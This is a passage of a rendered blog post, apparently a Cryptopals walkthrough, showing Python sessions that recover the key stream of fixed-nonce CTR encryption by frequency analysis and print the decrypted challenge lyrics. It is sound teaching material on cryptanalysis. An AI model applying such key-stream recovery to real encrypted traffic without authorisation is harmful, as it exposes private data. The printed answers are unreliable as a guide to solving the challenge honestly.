&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;[(&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;tciphertexts&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt; &lt;span class="n"&gt;kstr&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;kstr&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;kstream_guess&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sorted_items&lt;/span&gt;&lt;span class="p"&gt;()]&lt;/span&gt;     &lt;span class="c1"&gt;# byexample: +norm-ws&lt;/span&gt;
&lt;span class="p"&gt;[(&lt;/span&gt;&lt;span class="mf"&gt;1.4946588552783956e-56&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;   &lt;span class="s1"&gt;&amp;#39;I&lt;/span&gt;&lt;span class="se"&gt;\&amp;#39;&lt;/span&gt;&lt;span class="s1"&gt;m rated &amp;quot;R&amp;quot;...this is a warning, ya better void / P&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
 &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mf"&gt;1.4036747792866314e-56&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;   &lt;span class="s1"&gt;&amp;#39;N&lt;/span&gt;&lt;span class="se"&gt;\&amp;#39;&lt;/span&gt;&lt;span class="s1"&gt;m rated &amp;quot;R&amp;quot;...this is a warning, ya better void / P&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
 &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mf"&gt;7.026934200276732e-57&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;    &lt;span class="s1"&gt;&amp;#39;I&lt;/span&gt;&lt;span class="se"&gt;\&amp;#39;&lt;/span&gt;&lt;span class="s1"&gt;m ratede&amp;quot;R&amp;quot;...this is a warning, ya better void / P&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
 &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mf"&gt;6.374212793632498e-57&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;    &lt;span class="s1"&gt;&amp;#39;N&lt;/span&gt;&lt;span class="se"&gt;\&amp;#39;&lt;/span&gt;&lt;span class="s1"&gt;m ratede&amp;quot;R&amp;quot;...this is a warning, ya better void / P&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
 &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mf"&gt;5.972894070235226e-57&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;    &lt;span class="s1"&gt;&amp;#39;I&lt;/span&gt;&lt;span class="se"&gt;\&amp;#39;&lt;/span&gt;&lt;span class="s1"&gt;m rated &amp;quot;R&amp;quot;...this is a warning, yaebetter void / P&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
 &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mf"&gt;5.490470454496446e-57&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;    &lt;span class="s1"&gt;&amp;#39;I&lt;/span&gt;&lt;span class="se"&gt;\&amp;#39;&lt;/span&gt;&lt;span class="s1"&gt;m rated &amp;quot;R&amp;quot;...t&lt;/span&gt;&lt;span class="se"&gt;\&amp;#39;&lt;/span&gt;&lt;span class="s1"&gt;is is a warning, ya better void / P&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
 &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mf"&gt;5.265568867883322e-57&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;    &lt;span class="s1"&gt;&amp;#39;I&lt;/span&gt;&lt;span class="se"&gt;\&amp;#39;&lt;/span&gt;&lt;span class="s1"&gt;m rated &amp;quot;R&amp;quot;...t&amp;amp;is is a warning, ya better void / P&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
 &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mf"&gt;5.25603393501155e-57&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;     &lt;span class="s1"&gt;&amp;#39;I&lt;/span&gt;&lt;span class="se"&gt;\&amp;#39;&lt;/span&gt;&lt;span class="s1"&gt;m rated &amp;quot;R&amp;quot;...t!is is a warning, ya better void / P&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
 &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mf"&gt;5.249351712403237e-57&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;    &lt;span class="s1"&gt;&amp;#39;N&lt;/span&gt;&lt;span class="se"&gt;\&amp;#39;&lt;/span&gt;&lt;span class="s1"&gt;m rated &amp;quot;R&amp;quot;...this is a warning, yaebetter void / P&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
 &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mf"&gt;5.156250121008111e-57&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;    &lt;span class="s1"&gt;&amp;#39;N&lt;/span&gt;&lt;span class="se"&gt;\&amp;#39;&lt;/span&gt;&lt;span class="s1"&gt;m rated &amp;quot;R&amp;quot;...t&lt;/span&gt;&lt;span class="se"&gt;\&amp;#39;&lt;/span&gt;&lt;span class="s1"&gt;is is a warning, ya better void / P&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Our winner is on the top!&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;kstream&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;kstream_guess&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;most_likely&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;tciphertexts&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt; &lt;span class="n"&gt;kstream&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;tplaintexts&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="kc"&gt;True&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3 id="about-undistinguishable"&gt;About undistinguishable&lt;/h3&gt;
&lt;p&gt;Unless we have more knowledge about the plaintexts, we cannot distinguish between &lt;code class="none"&gt;i'm rated&lt;/code&gt; and &lt;code class="none"&gt;I'm rated&lt;/code&gt;. &lt;code class="none"&gt;:´|&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;The fact that we hit the correct key stream comes from &lt;em&gt;“we guessed”&lt;/em&gt; that the first letter was in uppercase.&lt;/p&gt;
&lt;h2 id="full-break-enjoy"&gt;Full break (enjoy!)&lt;/h2&gt;
&lt;p&gt;&lt;label for='CltCcmVhayBmaXhlZC1ub25jZSBDVFIgc3RhdGlzdGljYWxseV0oaHR0cHM6Ly9jcnlwdG9wYWxzLmNvbS9zZXRzLzMvY2hhbGxlbmdlcy8yMCkKbWFyZ2lubm90ZXM=' class='margin-toggle'&gt; &amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='CltCcmVhayBmaXhlZC1ub25jZSBDVFIgc3RhdGlzdGljYWxseV0oaHR0cHM6Ly9jcnlwdG9wYWxzLmNvbS9zZXRzLzMvY2hhbGxlbmdlcy8yMCkKbWFyZ2lubm90ZXM=' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
&lt;a href="https://cryptopals.com/sets/3/challenges/20"&gt;Break fixed-nonce CTR statistically&lt;/a&gt;
&lt;/span&gt;&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;all&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt; &lt;span class="n"&gt;kstream&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nb"&gt;zip&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;tplaintexts&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;tciphertexts&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="kc"&gt;True&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;[(&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt; &lt;span class="n"&gt;kstream&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;tciphertexts&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;I&lt;/span&gt;&lt;span class="se"&gt;\&amp;#39;&lt;/span&gt;&lt;span class="s1"&gt;m rated &amp;quot;R&amp;quot;...this is a warning, ya better void / P&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
 &lt;span class="s1"&gt;&amp;#39;Cuz I came back to attack others in spite- / Strike l&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
 &lt;span class="s2"&gt;&amp;quot;But don&amp;#39;t be afraid in the dark, in a park / Not a sc&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
 &lt;span class="s1"&gt;&amp;#39;Ya tremble like a alcoholic, muscles tighten up / Wha&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
 &lt;span class="s1"&gt;&amp;#39;Suddenly you feel like your in a horror flick / You g&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
 &lt;span class="s2"&gt;&amp;quot;Music&amp;#39;s the clue, when I come your warned / Apocalyps&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
 &lt;span class="s2"&gt;&amp;quot;Haven&amp;#39;t you ever heard of a MC-murderer? / This is th&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
 &lt;span class="s1"&gt;&amp;#39;Death wish, so come on, step to this / Hysterical ide&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
 &lt;span class="s1"&gt;&amp;#39;Friday the thirteenth, walking down Elm Street / You &amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
 &lt;span class="s1"&gt;&amp;#39;This is off limits, so your visions are blurry / All &amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
 &lt;span class="s2"&gt;&amp;quot;Terror in the styles, never error-files / Indeed I&amp;#39;m &amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
 &lt;span class="s1"&gt;&amp;#39;For those that oppose to be level or next to this / I&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
 &lt;span class="s2"&gt;&amp;quot;Worse than a nightmare, you don&amp;#39;t have to sleep a win&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
 &lt;span class="s1"&gt;&amp;#39;Flashbacks interfere, ya start to hear: / The R-A-K-I&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
 &lt;span class="s1"&gt;&amp;#39;Then the beat is hysterical / That makes Eric go get &amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
 &lt;span class="s1"&gt;&amp;#39;Soon the lyrical format is superior / Faces of death &amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
 &lt;span class="s2"&gt;&amp;quot;MC&amp;#39;s decaying, cuz they never stayed / The scene of a&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
 &lt;span class="s2"&gt;&amp;quot;The fiend of a rhyme on the mic that you know / It&amp;#39;s &amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
 &lt;span class="s1"&gt;&amp;#39;Melodies-unmakable, pattern-unescapable / A horn if w&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
 &lt;span class="s1"&gt;&amp;#39;I bless the child, the earth, the gods and bomb the r&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
 &lt;span class="s1"&gt;&amp;#39;Hazardous to your health so be friendly / A matter of&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
 &lt;span class="s2"&gt;&amp;quot;Shake &amp;#39;till your clear, make it disappear, make the n&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
 &lt;span class="s2"&gt;&amp;quot;If not, my soul&amp;#39;ll release! / The scene is recreated,&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
 &lt;span class="s1"&gt;&amp;#39;Cuz your about to see a disastrous sight / A performa&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
 &lt;span class="s1"&gt;&amp;#39;Lyrics of fury! A fearified freestyle! / The &amp;quot;R&amp;quot; is i&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
 &lt;span class="s2"&gt;&amp;quot;Make sure the system&amp;#39;s loud when I mention / Phrases &amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
 &lt;span class="s1"&gt;&amp;#39;You want to hear some sounds that not only pounds but&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
 &lt;span class="s1"&gt;&amp;#39;Then nonchalantly tell you what it mean to me / Stric&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
 &lt;span class="s2"&gt;&amp;quot;And I don&amp;#39;t care if the whole crowd&amp;#39;s a witness! / I&amp;#39;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
 &lt;span class="s1"&gt;&amp;#39;Program into the speed of the rhyme, prepare to start&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
 &lt;span class="s2"&gt;&amp;quot;Musical madness MC ever made, see it&amp;#39;s / Now an emerg&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
 &lt;span class="s2"&gt;&amp;quot;Open your mind, you will find every word&amp;#39;ll be / Furi&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
 &lt;span class="s2"&gt;&amp;quot;Battle&amp;#39;s tempting...whatever suits ya! / For words th&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
 &lt;span class="s2"&gt;&amp;quot;You think you&amp;#39;re ruffer, then suffer the consequences&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
 &lt;span class="s1"&gt;&amp;#39;I wake ya with hundreds of thousands of volts / Mic-t&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
 &lt;span class="s1"&gt;&amp;#39;Novocain ease the pain it might save him / If not, Er&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
 &lt;span class="s2"&gt;&amp;quot;Yo Rakim, what&amp;#39;s up? / Yo, I&amp;#39;m doing the knowledge, E&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
 &lt;span class="s1"&gt;&amp;#39;Well, check this out, since Norby Walters is our agen&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
 &lt;span class="s1"&gt;&amp;#39;Kara Lewis is our agent, word up / Zakia and 4th and &amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
 &lt;span class="s2"&gt;&amp;quot;Okay, so who we rollin&amp;#39; with then? We rollin&amp;#39; with Ru&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
 &lt;span class="s1"&gt;&amp;#39;Check this out, since we talking over / This def beat&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
 &lt;span class="s1"&gt;&amp;#39;I wanna hear some of them def rhymes, you know what I&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
 &lt;span class="s2"&gt;&amp;quot;Thinkin&amp;#39; of a master plan / &amp;#39;Cuz ain&amp;#39;t nuthin&amp;#39; but sw&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
 &lt;span class="s1"&gt;&amp;#39;So I dig into my pocket, all my money is spent / So I&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
 &lt;span class="s2"&gt;&amp;quot;So I start my mission, leave my residence / Thinkin&amp;#39; &amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
 &lt;span class="s1"&gt;&amp;#39;I need money, I used to be a stick-up kid / So I thin&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
 &lt;span class="s2"&gt;&amp;quot;I used to roll up, this is a hold up, ain&amp;#39;t nuthin&amp;#39; f&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
 &lt;span class="s2"&gt;&amp;quot;But now I learned to earn &amp;#39;cuz I&amp;#39;m righteous / I feel&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
 &lt;span class="s1"&gt;&amp;#39;Search for a nine to five, if I strive / Then maybe I&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
 &lt;span class="s2"&gt;&amp;quot;So I walk up the street whistlin&amp;#39; this / Feelin&amp;#39; out &amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
 &lt;span class="s1"&gt;&amp;#39;A pen and a paper, a stereo, a tape of / Me and Eric &amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
 &lt;span class="s1"&gt;&amp;#39;Fish, which is my favorite dish / But without no mone&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
 &lt;span class="s2"&gt;&amp;quot;&amp;#39;Cuz I don&amp;#39;t like to dream about gettin&amp;#39; paid / So I &amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
 &lt;span class="s1"&gt;&amp;#39;So now to test to see if I got pull / Hit the studio,&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
 &lt;span class="s1"&gt;&amp;#39;Rakim, check this out, yo / You go to your girl house&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
 &lt;span class="s2"&gt;&amp;quot;&amp;#39;Cause my girl is definitely mad / &amp;#39;Cause it took us &amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
 &lt;span class="s2"&gt;&amp;quot;Yo, I hear what you&amp;#39;re saying / So let&amp;#39;s just pump th&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
 &lt;span class="s1"&gt;&amp;#39;And count our money / Yo, well check this out, yo Eli&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
 &lt;span class="s1"&gt;&amp;#39;Turn down the bass down / And let the beat just keep &amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
 &lt;span class="s1"&gt;&amp;#39;And we outta here / Yo, what happened to peace? / Pea&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2 id="break-fixed-nonce-ctr---second-chance"&gt;Break fixed-nonce CTR - Second chance&lt;/h2&gt;
&lt;p&gt;&lt;label for='CltCcmVhayBmaXhlZC1ub25jZSBDVFIgbW9kZSB1c2luZyBzdWJzdGl0dXRpb25zXShodHRwczovL2NyeXB0b3BhbHMuY29tL3NldHMvMy9jaGFsbGVuZ2VzLzE5KQptYXJnaW5ub3Rlcw==' class='margin-toggle'&gt; &amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='CltCcmVhayBmaXhlZC1ub25jZSBDVFIgbW9kZSB1c2luZyBzdWJzdGl0dXRpb25zXShodHRwczovL2NyeXB0b3BhbHMuY29tL3NldHMvMy9jaGFsbGVuZ2VzLzE5KQptYXJnaW5ub3Rlcw==' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
&lt;a href="https://cryptopals.com/sets/3/challenges/19"&gt;Break fixed-nonce CTR mode using substitutions&lt;/a&gt;
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;Let’s take another set of plaintexts, encrypt them with a fixed-nonce CTR and break the encryption.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;plaintexts&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;list&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;load_bytes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;./posts/matasano/assets/19.txt&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;encoding&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;64&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;ciphertexts&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;enc_ctr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;cfg&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;cfg&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;nonce&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;plaintexts&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;tplaintexts&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;uniform_length&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;plaintexts&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;tciphertexts&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;uniform_length&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ciphertexts&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;tciphertexts_transposed&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;transpose&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;tciphertexts&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;guesses&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[]&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nb"&gt;enumerate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;tciphertexts_transposed&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;  &lt;span class="c1"&gt;# first letter, use a special statistical model&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;         &lt;span class="n"&gt;most_common&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;etaoin_shrdlu&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;         &lt;span class="n"&gt;most_common&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;etaoin_shrdlu&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;byte_guess&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;freq_attack&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;most_common&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;g&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;brute_force&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;partial&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;fit_freq_score&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;expected_prob&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;most_common&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="n"&gt;byte_guess&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;g&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;   &lt;span class="c1"&gt;# fit_freq_score was too hard, rollback to a more soft score func&lt;/span&gt;
